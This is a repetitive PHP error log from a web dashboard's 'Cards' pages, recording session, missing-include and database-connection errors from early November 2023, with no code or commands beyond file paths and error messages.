[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:38:10 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 7
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 11
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
[05-Nov-2023 21:38:47 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:54
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(54): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 54
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 306
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 321
[05-Nov-2023 21:38:58 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 336
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:39:47 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:38 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:40:39 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 2
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(fetch_bot_data.php): Failed to open stream: No such file or directory in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: include(): Failed opening 'fetch_bot_data.php' for inclusion (include_path='.:/opt/cpanel/ea-php81/root/usr/share/pear') in /home/luckycha/public_html/Dashboard/Cards/index.php on line 3
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: session_start(): Session cannot be started after headers have already been sent in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 8
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 9
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined global variable $_SESSION in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Trying to access array offset on value of type null in /home/luckycha/public_html/Dashboard/Cards/index.php on line 10
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/luckycha/public_html/Dashboard/Cards/index.php:1) in /home/luckycha/public_html/Dashboard/Cards/index.php on line 12
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mytk in /home/luckycha/public_html/Dashboard/Cards/index.php on line 300
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mypassss in /home/luckycha/public_html/Dashboard/Cards/index.php on line 315
[05-Nov-2023 21:48:08 Europe/Istanbul] PHP Warning: Undefined variable $mystole in /home/luckycha/public_html/Dashboard/Cards/index.php on line 330
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:26 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:22:27 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:03 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 14:23:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 17:02:09 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:07:59 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 19:15:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:52 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:53 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:55 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[06-Nov-2023 21:41:56 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 07:01:42 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[07-Nov-2023 21:51:44 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 16:58:39 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:06:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[08-Nov-2023 22:57:25 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "secret_key" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 4
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "admin_name" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 5
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined array key "Role" in /home/luckycha/public_html/Dashboard/Cards/index.php on line 6
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Warning: Undefined variable $conn in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 00:04:12 Europe/Istanbul] PHP Fatal error: Uncaught TypeError: mysqli_query(): Argument #1 ($mysql) must be of type mysqli, null given in /home/luckycha/public_html/Dashboard/Cards/index.php:51
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/index.php(51): mysqli_query(NULL, 'SELECT * FROM C...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/index.php on line 51
[09-Nov-2023 19:42:33 Europe/Istanbul] PHP Fatal error: Uncaught mysqli_sql_exception: Unknown column 'Urls' in 'where clause' in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php:102
Stack trace:
#0 /home/luckycha/public_html/Dashboard/Cards/crd3453745.php(102): mysqli_query(Object(mysqli), 'SELECT COUNT(*)...')
#1 {main}
thrown in /home/luckycha/public_html/Dashboard/Cards/crd3453745.php on line 102

Some files were not shown because too many files have changed in this diff Show More